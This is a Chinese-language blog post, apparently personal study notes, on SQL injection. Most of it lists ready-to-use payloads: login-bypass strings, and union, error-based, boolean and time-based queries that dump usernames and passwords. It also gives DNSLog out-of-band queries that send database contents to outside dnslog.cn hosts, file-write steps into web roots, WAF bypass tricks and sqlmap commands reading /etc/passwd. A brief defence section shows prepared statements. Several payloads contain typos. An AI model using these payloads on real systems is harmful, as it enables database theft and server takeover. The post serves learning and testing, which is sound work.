SQL注入

SQL注入

一.SQL注入原理
1.造成的原因
当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
2.本质
把用户输入的数据当做代码来执行,违背了“数据与代码分离”的原则。
3.SQL注入漏洞有两个关键条件:
3.1用户能控制输入的内容
3.2Web应用把用户输入的内容带入到数据库中执行
4.SQL注入的危害
4.1脱库
4.2getshell
二、万能密码
1.admin’ – - 知道用户名的情况
2.admin’ or 1=1 – - 不知道用户名的情况
3.admin’ or 1=1 limit 1 – - 限制显示位的情况
三、SQL注入的分类
1.根据请求方式的不同
1.1GET方式请求
1.2POST方式请求:需要使用BP软件
2.根据sql注入的参数类型
2.1数值型
2.2字符型
包裹符号:单引号、双引号、单引号括号、双引号括号、单引号双括号、双引号、双括号
2.3搜索型%
3.根据sql注入的反馈类型
3.1联合注入查询
3.2报错查询
3.3布尔注入
3.4延时注入
3.5堆叠注入
四、常用的数据库类型
4.1Mysql
4.2SQLServer
4.3Oracle
4.4Access
五、手工注入流程
5.1常用数据库函数
5.1.1集成函数
1.返回当前使用数据库的用户
user()、system_user()、current_user()、current_user()
2.返回当前数据库的版本
version()、@@version
3.返回当前使用的数据库
database()
4.返回当前数据库所在位置
@@datadir、@@basedir
5.返回当前操作系统版本
@@version_compile_os
5.1.2截取字符串的函数
1.截取某一个字
substr()、substring()、mid()、left()、right()
substr():oracle、mysql、sqlserver 都可以使用
substring():mysql、sqlserver 使用
mid():mysql 使用
2.截取一个字段
limit
5.1.3判断调节
if()判断sql语句是否执行、length()判断长度、count()判断数量
5.1.4编码
1.ascii编码解码
ascii()/ord()编码
char()/arg()解码
2.十六进制编码解码
hex()16进制编码
unhex()16进制解码
5.2information_schema默认数据库
5.2.1schemata:存储了MySQL下每一个数据库的相关信息
1.schema_name:数据库名
5.2.2tables:存储了MySQL下每一个表的相关信息
1.table_name:数据表名称
2.table_schema:该数据表属于哪一个数据库
5.2.3columns:存储了MySQL下每一个数据表中的所有列名(字段名)
1.column_name:字段名称
2.table_name:该字段属于哪一个数据表
3.table_schema:当前字段所属数据表所在的数据库名称
5.3联合注入查询
1.判断注入点(类型)
2.判断查询字段数量:order by n(数字) 字符型需加注释符
3.判断显示位:union select 1,2,3
4.查看当前使用数据库:union select 1,2,(select database())
5.查看所有数据库名:union select 1,2,(select group_concat(schema_name) from information_schema.schemata)
6.查看当前书库库下所有表名:union select 1,2,(selectgroup_concat(table_name) from information_schema.tables where table_schema=‘security’)
7.查看当前书库据的字段名:union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)
8.查询当前数据库信息:union select1,2,(select group_concat(concat_ws(“~”,username, password),from users))
5.4报错注入
5.4.1报错函数(可以与BP软件结合使用)
1.有32位长度限制和mysql版本限制(MySQL5.1及以上)
updatexml()、extractvalue()
2.没有版本限制但不能使用group_concat()函数
floor()
5.4.2注入流程
判断注入点
1.查看数据库名:1’ and extractvalue(1,concat(0x7e,(select database())))#(注释)
2.查看所有数据库:1’ and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata where table_schema=“sercurit” limit 0,1)))#
3.查看当前数据库表名:1’ and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=“sercurit” limit 0,1)))#
4.查看当前数据库字段名:1’ and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=“sercurity” and table_name =users limit 0,1)))#
5.查看当前数据库信息:1‘ and extractvalue(1,concat(0x7e,(select username,password from security.users limit 0,1)))#
5.5布尔注入(结合BP软件)
判断注入点
1.得到数据库长度:and (length(database()))=4
2.依次获取数据库库名字符:and (ascii(substr(database(),n,1)))=0
3.判断数据表数量:and (select count(table_name) from information_schema.tables where table_schema=database())=5
4.依次判断每个数据表的长度:and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=5
5.依次判断每个数据表的每个字符:and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1)))=100
6.获取字段数量:and (select count(column_name) from information_schema.columns where table_schema=database() and table_name =“user”)=5
7.判断每个字段的长度:and (select length(table_name) from information_schema.tables where table_schema=database() and table_name =“user” limit 0,1)=5
8.判断每个字段每个字符:and (ascii(substr((select table_name from information_schema.tables where table_schema=database() and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1)))=100limit 0,1),0,1)))=100
9.判断username数量:and (select count(username) from security.users)=5
10.判断每个数据每个字母:and (ascii(substr(( select username from secuity.users limit 0,1),1,1)))=68
11.判断password数量:and (select count(password) from security.users)=5
12.判断每个数据每个字母:and (ascii(substr(( select password from secuity.users limit 0,1),1,1)))=68
5.6延时注入
判断注入点:sleep()函数
1.获取数据长度:and (length(database()))=4
2.获取数据库的每个字符:and (ascii(substr(database(),n,1)))=100
3.获取数据表数量:and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1)
4.获取数据表长度:and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1)
5.获取表名:and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=103,sleep(5),1)
6.获取字段数量:and if((select count(column_name) from information_schema.columns where table_name= “users”)=1,sleep(5),1)
7.获取字段长度:and if(length(substr((select column_name from information_schema.coluns where table_schema=database() limit 0,1),1))=9,sleep(5),1)
8.获取字段名:and if((select ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1)))=117, sleep(5),0)
9.获取数据user长度:and if((select (length(substr((select user from users limit 0,1),1))=5) ,sleep(5),1)
10.获取user字符:and if(select ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1)
11.获取数据password长度:and if((select (length(substr((select password from users limit 0,1),1))=1) ,sleep(5),1)
12.获取password字符:and if(select ascii(substr((select password from users limit 0,1),1,1))=97,sleep(5),1)
5.7其他方式注入
1.insert、update、delete 注入只能使用报错方式注入
2.http头部注入(结合BP)
User-Agent、Cookie
3.二次解码注入(结合BP)
3.1头部注入是需要将请求数据进行url编码
3.2抓包抓到到用户名是经过加密的(解密/将语句加密后在执行进行请求)
4.参数污染:使用&传入第二个参数进行注入点判断
5.宽字节注入:利用%df组成宽字节
6.搜索注入:加%判断注入点
5.8读写文件(必须有读写文件的权限、必须知道网页目录的路径)
1.读文件:load_file(“文件路径”)不能读目录 文件路径使用双斜线
1.2带外攻击
1.原理
load_file()可以解析网址的特性利用DNSLog网站的特性可以让延时注入和布尔注入有显示
2.流程
1.判断注入点
2.利用DNSLog.cn网页:根据DNS浏览记录产生回显
3.获取当前数据库:and load_file(concat("\\",hex(database()),".xvi8xl.dnslog.cn\1.txt"))
4.依次获取所有数据库:and load_file(concat("\\",(select hex(schema_name) from information_schema.schemata limit 0,1),".pm2daa.dnslog.cn\1.txt"))
5.依次获取当前数据表:and load_file(concat("\\",(select hex(table_name) from information_schema.tables limit 0,1),".pm2daa.dnslog.cn\1.txt"))
6.依次获取字段名:and load_file(concat("\\",(select hex(column_name) from information_schema.columns limit 0,1),".pm2daa.dnslog.cn\1.txt"))
7.依次获取用户名:and load_file(concat("\\",(select hex(user) from security.users limit 0,1),".pm2daa.dnslog.cn\1.txt"))
8.依次获取密码:and load_file(concat("\\",(select hex(password) from security.users limit 0,1),".pm2daa.dnslog.cn\1.txt"))
2.写文件:select “文件内容”into outfile/dumpfile “路径+文件名”
into outfile、into dumpfile
3.常用环境的WEB网页的路径
3.1windows集成环境的网页存放路径
1.PHPstudy
PHPTutorial/www
www
2.XAMPP
htdocs
3.appserver
www/htdocs
4.wamp
www/htdocs
5.IIS服务器
c:/intercept/wwwroot
3.2windows单独安装Apache服务器的路径
c:/program files/httpd/www
3.3Linux操作系统中搭建的httpd服务的路径
var/www/html
5.9二次注入
1.特点
1.1登录功能不能注入
1.2注册功能不能覆盖已有用户 但是能用来判断已经注册过的用户不能insert注入但是注册的新用户的用户名里面能写到特殊字符
1.3使用已知用户名账号和密码进行登录,主页面可以进行重置密码,但是不能进行update注入,而且需要输入用户的原密码才能进行注入。根据猜测,得出在进行密码重置的时候和可能验证了用户名,并且该用户名并不是由用户输入,而是通过用户登陆成功之后的session信息传递的,很可能没有进行过滤就直接拼接到SQL语句中
1.4忘记密码功能没用
2.解决方式
2.1注册用户admin’-- -
2.2登陆后重置密码
2.3不能验证旧密码就可以直接设置新密码(输入错误的旧密码)
5.10waf绕过
1.waf的分类
1.1代码waf
1.2软件waf 安全狗、宝塔、云盾
1.3硬件waf 天清 (启明星辰)天擎(奇安信)
1.4云waf CND加速机制
1.4.1绕CND加速机制的常见方法
1.查看子域名IP
2.查看DNS记录
3.查询https证书
4.国外请求
5.mx记录或邮件
2.waf绕过的常用方式
1.大小写混合
2.替换关键字(双写)
3.使用编码
4.使用注释
5.使用等价函数
6.特殊符号
六、防御方式
1.GPC/RUNTIME魔术引号
2.过滤函数和类(常用的过滤函数)
addslashes、mysql[real]escape_string、intval
2.1具体实时方案
<?php $dbh = new PDO("mysql:host=localhost;dbname=demo","user","pass");$dbh->exec("set names 'GBK'");$sql = "select * from test where name = ? and password = ?";$stmt = $dbh->prepare($sql);$exeres = $stmt->execute(array($name,$pass));?>
缺点:PHP版本在5.3.6之前还是存在宽字节注入漏洞
3.涉资输入验证和处理策略
4.其他防护方案
4.1领域驱动的安全性
4.2编码输出
七、sqlmap的使用
1.常用参数
-h:查看帮助
-hh:查看详细帮助
-u:指定要扫描的网址
–current-user:获取当前登录MySQL的用户名
–current-db:获取当前所在的数据库名
–dbs:列出当前MySQL下的所有数据库
–tables:获取数据表
–columns:获取列名
-D:指定数据库
-T:指定数据表
-C:指定列名
–dump:按要求输出数据
–dump-all:输出全部数据
–data=“”:指定POST请求方式传递的数据
–cookie=“”:指定cookie数据(指定level为2:–level=2)
–skip-waf:对于数据库中的加密数据,能够尝试进行解密
2.sqlmap的六种注入模式
基于布尔的盲注,即可以根据返回页面判断条件真假的注入
基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断
基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
联合查询注入,可以使用union的情况下的注入
堆查询注入,可以同时执行多条语句的执行时的注入
内联查询注入,在sql语句中执行sql语句
3.常规操作步骤
判断是否有注入:sqlmap –u “http://127.0.0.1/test.php?id=1”
查看所有数据库:sqlmap –u “http://127.0.0.1/test.php?id=1” --dbs
查看当前使用的数据库:sqlmap –u “http://127.0.0.1/test.php?id=1” --current-db
查看数据表:sqlmap –u “http://127.0.0.1/test.php?id=1” -D sqlinject --tables
查看列名:sqlmap –u “http://127.0.0.1/test.php?id=1” -D sqlinject -T admin --columns
查看数据:sqlmap –u “http://127.0.0.1/test.php?id=1” -D sqlinject -T admin --dump
读文件:Sqlmap –u “http://127.0.0.1/1.php?id=1” --file-read “/etc/passwd”
写文件:Sqlmap –u “http://127.0.0.1/1.php?id=1” --file-write c:/123.txt --file-dest c:/www/123.php

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值